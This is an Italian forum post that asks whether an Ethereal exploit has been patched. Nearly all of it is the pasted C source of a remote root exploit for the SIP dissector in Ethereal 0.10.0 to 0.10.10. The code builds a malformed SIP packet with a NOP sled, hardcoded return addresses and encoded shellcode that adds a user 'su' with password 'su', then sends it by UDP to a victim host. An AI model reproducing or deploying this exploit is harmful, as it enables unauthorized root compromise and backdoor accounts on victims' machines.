Salve!
Qualcuno sa dirmi se il seguente exploit per Ethereal è stato patchato? grazie!
codice:* tethereal_sip.c (now quite functional) * * Ethereal (0.10.0 to 0.10.10) SIP Dissector remote root exploit * based on the exploit: * http://www.frsirt.com/exploits/20050..._sip_dos.c.php * * Advisory: * http://www.frsirt.com/english/advisories/2005/0470 * http://www.ethereal.com/appnotes/enpa-sa-00019.html * * produced by Team W00dp3ck3r: * frauk\x41iser * mag00n * s00n * thorben * * Notes: * tested on Debian Sarge * Linux maggot4 2.6.8-1-386 #1 Mon Sep 13 23:29:55 EDT 2004 i686 GNU/Linux * * tested version of ethereal: * http://www.ethereal.com/distribution...0.10.10.tar.gz * (./configure, make, make install ;)) * * victim has to switch from normal user to root using "su -" * the exploit adds a user named "su" with password "su" on the victim host * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> unsigned char sip_header[] = "\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63" "\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20" "\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63" "\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73" "\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65" "\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b" "\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50" "\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39" "\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b" "\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54" "\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"; unsigned char callid[] = "\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20"; /* adduser shellcode, user: "su", pwd: "su" Full Size=116, splitted into 2 parts because one buffer was too small. thx to http://metasploit.com */ unsigned char shellcode[] = "\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5" "\xb7\x95\xbb\x83\xeb\xfc\xe2\xf4\x94\x7e\x1c\x70\xcf\xf1\xcd\x76" "\x25\xdd\x90\xe3\x94\x7e\xc4\xd3\xd6\xc4\xe2\xdf\xcd\x98\xba\xcb" "\xc4\xdf\xba\xde\xd1\xd4\x1c\x58\xe4\x02\x91\x76\x25\x24\x7d\x9b" "\xa5\xb7\x95\xc8\xd0\x8d\xd4\xfa\xdf\xf2\xac\xd4\xd4\xf9\xdd\xed" "\xf5\x82\xe6\x81\x95\x8d\xa5\x81\x9f\x98\xaf\x94\xc7\xde\xfb\x94" "\xd6\xdf\x9f\xe2\x2e\xe6"; unsigned char cseq[] = "\x0a\x43\x53\x65\x71\x3a\x20"; /* the malformed cseq method field. the buffer has a size of 16 byte. you need 48 byte to overwrite the return address. the first byte is checked isalpha(), so we splitted the shellcode in a way that the first char of cseq_method passes the isalpha() check. */ unsigned char cseq_method[] = "\x69\xd1\xa1\xef\x58\x3b\xcf\xb6\xcd\x76\x25\xb7\x95\xbb"; /* needed to be a fully valid sip packet */ unsigned char sip_footer[] = "\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63\x6b\x3a" "\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74" "\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72" "\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41\x67\x65" "\x6e\x74\x3a\x20\x57\x30\x30\x64\x70\x33\x63\x6b\x33\x72\x20" "\x0a"; int main(int argc, char * argv[]) { unsigned int i, offset, ret, p_addr; struct sockaddr_in dest; struct hostent *he; int sock, slen = sizeof(struct sockaddr); unsigned char buffer[2048]; // help output if(argc < 3) { printf("correct syntax: %s <flag> <host> \n", argv[0]); printf("possible flag: \n"); printf("1 the ethereal user has started tethereal" "with full path as root \n"); printf("2 the ethereal user has started tethereal" "without directorypath as root \n"); return 1; } // p_addr may differ on other systems ;) if (argv[1][0] == '1') { p_addr = 0xbffee328; } if (argv[1][0] == '2') { p_addr = 0xbffee338; } // destination-ip check if((he = gethostbyname(argv[2])) == NULL) { printf("[!] Couldn't resolve %s\n", argv[2]); return 1; } // open socket if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket()"); return 1; } // set packet parameters dest.sin_port = htons(5060); dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)he->h_addr); // set the returnaddress (may differ on other systems) ret = 0xbffee240; //// generate a buffer containing the data //// offset = 0; // set all values of the buffer to 0x0 memset(buffer, 0x0, sizeof(buffer)); // copy the header into the buffer memcpy(buffer+offset, sip_header, sizeof(sip_header)); offset += sizeof(sip_header) -1; // concat the callid into the buffer memcpy(buffer+offset, callid, sizeof(callid)); offset += sizeof(callid) -1; // add the callid-value (nop+shellcode) i = 128 - sizeof(shellcode) +1; memset(buffer+offset, 0x90, i); offset += i; // insert shellcode into buffer memcpy(buffer+offset, shellcode, sizeof(shellcode)); offset += sizeof(shellcode) -1; // concat the cseq memcpy(buffer+offset, cseq, sizeof(cseq)); offset += sizeof(cseq) -1; // generate the part, which causes the overflow (=cseq-method) memcpy(buffer+offset, cseq_method, sizeof(cseq_method)); offset += sizeof(cseq_method) -1; // fill the rest of cseq_method with A memset(buffer+offset, 0x41, 30); offset += 30; // write return address *(long *)&buffer[offset] = ret; offset += 4; // repair the first pointer after ret- address *(long *)&buffer[offset] = 0x08215184; // is a pointer DEST-value: 0x1 offset += 4; // repair second pointer after ret- address *(long *)&buffer[offset] = p_addr; offset += 4; // the finalising part of the message memcpy(buffer+offset, sip_footer, sizeof(sip_footer)); // send the buffer to the victim if (sendto(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&dest, slen)== -1) { printf("[!] Error sending packet!\n"); return 1; } // DEBUG // // printf("%s\n", buffer); printf("[*] dark W00dp3ck3r packet sent!\n"); close(sock); return 0; } Click here to find out more!
Rispondi quotando
